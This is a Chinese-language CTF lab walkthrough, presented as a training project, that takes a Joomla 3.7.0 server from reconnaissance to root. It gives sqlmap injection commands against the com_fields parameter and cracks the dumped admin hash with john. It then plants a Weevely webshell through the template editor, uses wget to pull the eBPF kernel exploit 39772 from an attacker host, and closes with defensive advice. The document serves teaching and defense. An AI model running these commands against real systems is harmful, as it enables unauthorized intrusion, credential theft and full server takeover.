文章目录
声明:本文内容仅用于 CTF 靶场学习与安全研究,所有操作均在授权的虚拟靶机环境中完成。严禁将本文技术用于未授权的真实系统。
项目背景(Situation)
客户 :某网络安全培训机构
时间 :2024 年 11 月
环境 :封闭式实战靶场,目标系统为运行 Joomla 3.7.0 的 Linux 服务器
目标:模拟真实攻击视角,完整复现从外网信息收集到获取服务器 root 权限的攻击链,并输出可供教学的分析笔记
客户希望通过该实战项目,让学员深入理解 CMS 类系统的常见攻击面,包括 SQL 注入、WebShell 写入及内核本地提权,从而建立完整的攻防知识体系。
任务拆解(Task)
整个攻击链分为以下五个阶段:
- 信息收集:识别目标 Web 服务与 CMS 类型
- 漏洞发现:利用专用扫描器与漏洞库定位已知漏洞
- 漏洞利用:通过 SQL 注入获取数据库中的账号凭据
- 权限维持:写入 WebShell,建立稳定的命令执行通道
- 本地提权 :结合内核漏洞将权限从
www-data提升至root
实施过程(Action)
阶段一:信息收集
Nmap 扫描确认目标仅开放 80 端口,随后使用 WhatWeb 对 Web 服务进行指纹识别:
bash
whatweb http://[目标IP]
输出结果中可以看到 Apache 服务器信息及 Joomla 相关特征。确认 CMS 类型后,使用 Joomla 专用扫描器进行深度探测:
bash
joomscan --url http://[目标IP]
知识点:主流 CMS(Joomla、WordPress、Drupal)都有对应的专用扫描工具,原理是基于对该 CMS 特有目录结构、文件路径、响应特征的规则匹配。有 Python 基础的同学可以尝试自己实现一个。
扫描结果关键信息:
- 未发现 WAF(防火墙)
- 发现后台路径:
/administrator - CMS 版本:Joomla 3.7.0
阶段二:漏洞发现
版本信息是关键。使用 Kali 内置的 searchsploit 在本地漏洞库中检索:
bash
searchsploit Joomla 3.7.0
命中一个 SQL 注入漏洞 ,编号 42033,将其拷贝到本地查阅:
bash
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt ./42033.txt
打开文件后,漏洞文档提供了基于 sqlmap 的完整利用命令,注入点位于 Joomla 的某个组件参数中。
阶段三:SQL 注入获取凭据
Step 1 --- 枚举数据库名:
bash
sqlmap -u "http://[目标IP]/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" \
--risk=3 --level=5 --random-agent --dbs -p list[fullordering]
发现目标数据库:joomladb
Step 2 --- 枚举表名:
bash
# 将 --dbs 替换为 -D joomladb --tables
在众多数据表中,#__users 表最具价值(Joomla 用户表命名惯例,# 会替换为配置中的表前缀)。
Step 3 --- 枚举字段并导出数据:
bash
# 依次使用 --columns 查看字段,再用 -C name,password --dump 导出
成功获取管理员账号:admin,以及对应的哈希密码。
Step 4 --- 离线破解密码:
将哈希值保存至文件,使用 john 进行字典攻击:
bash
echo '[哈希值]' > hash.txt
john hash.txt
破解结果:密码为 snoopy
知识点 :Joomla 使用 bcrypt 加密密码,
john支持自动识别哈希类型。离线破解的优势在于不触发登录失败锁定策略。
阶段四:写入 WebShell
使用破解的凭据登录后台 http://[目标IP]/administrator。
Joomla 模板编辑器 允许管理员直接编辑 PHP 模板文件,这是一个典型的高危功能:
路径:Extensions → Templates → Templates → [选择模板] → New File
新建文件 test1.php,先验证代码执行:
php
<?php echo 'haha'; ?>
访问 http://[目标IP]/templates/protostar/test1.php,页面输出 haha,确认代码可执行。
随后使用 Weevely 生成加密 WebShell:
bash
weevely generate 123456 webshell.php
将生成的混淆代码粘贴到 test1.php 中保存,建立连接:
bash
weevely http://[目标IP]/templates/protostar/test1.php 123456
知识点 :Weevely 生成的 WebShell 是变形的一句话木马,对内容做了 Base64 + 字符替换混淆,能一定程度上绕过简单的特征检测。
help命令可查看其内置的数十个后渗透模块。
在 WebShell 中执行基础信息收集:
bash
whoami # 输出:www-data
cat /etc/passwd # 查看系统用户,找到有 home 目录的真实用户
uname -a # 查看内核版本
lsb_release -a # 确认发行版:Ubuntu 16.04
阶段五:本地提权
已知系统为 Ubuntu 16.04 + Linux 内核 4.4.x,在漏洞库中搜索:
bash
searchsploit Ubuntu 16.04
发现内核提权漏洞 39772(eBPF 本地提权),下载查阅:
bash
cp /usr/share/exploitdb/exploits/linux/local/39772.txt ./39772.txt
文档说明需要从 GitHub 下载编译好的利用程序。攻击机开启临时 HTTP 服务:
bash
python -m SimpleHTTPServer 8000
# Python3 用户:python3 -m http.server 8000
在 WebShell 中将文件下载到目标机器并执行提权:
bash
# 在 weevely 的 :shell_sh 模式下
wget http://[攻击机IP]:8000/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh # 编译
./doubleput # 执行提权
whoami # 输出:root ✓
至此,完整攻击链复现完毕。
结果与总结(Result)
攻击链全貌
信息收集 (WhatWeb/Joomscan)
↓
漏洞识别 (Searchsploit → CVE SQL注入)
↓
SQL注入 (Sqlmap → 获取哈希)
↓
密码破解 (John → 明文密码)
↓
后台登录 → 模板编辑器写入 WebShell (Weevely)
↓
本地提权 (内核漏洞 39772 → root)
关键工具速查
| 工具 | 用途 |
|---|---|
whatweb |
Web 指纹识别,快速判断 CMS 类型及版本 |
joomscan |
Joomla 专用扫描,枚举敏感路径与版本 |
searchsploit |
本地漏洞库检索,离线可用 |
sqlmap |
自动化 SQL 注入利用 |
john |
离线哈希破解 |
weevely |
加密 WebShell 生成与管理 |
防御建议
从防守视角,以下措施可有效阻断上述攻击链:
- 及时升级 CMS 版本:Joomla 3.7.0 的 SQL 注入漏洞已有公开 PoC,升级是最根本的修复手段
- 关闭模板在线编辑功能:在 Joomla 后台全局配置中禁用,防止 WebShell 写入
- 最小权限原则 :Web 服务进程不应以高权限运行,限制
www-data的文件写入范围 - 内核及时更新:本地提权利用的是已知内核漏洞,定期更新系统补丁可消除此类风险
- 部署 WAF:对 SQL 注入特征流量进行拦截与告警
客户评价
"该靶场实战记录逻辑清晰、工具使用规范,攻击链完整覆盖了 CMS 渗透的经典路径。尤其是模板编辑器写 Shell 这一环节的演示,直观展示了 CMS 高危配置的危害,是非常好的教学素材。" ------ 某网络安全培训机构,课程负责人
如有疑问或勘误,欢迎在评论区交流。后续将持续更新更多靶场实战复现内容。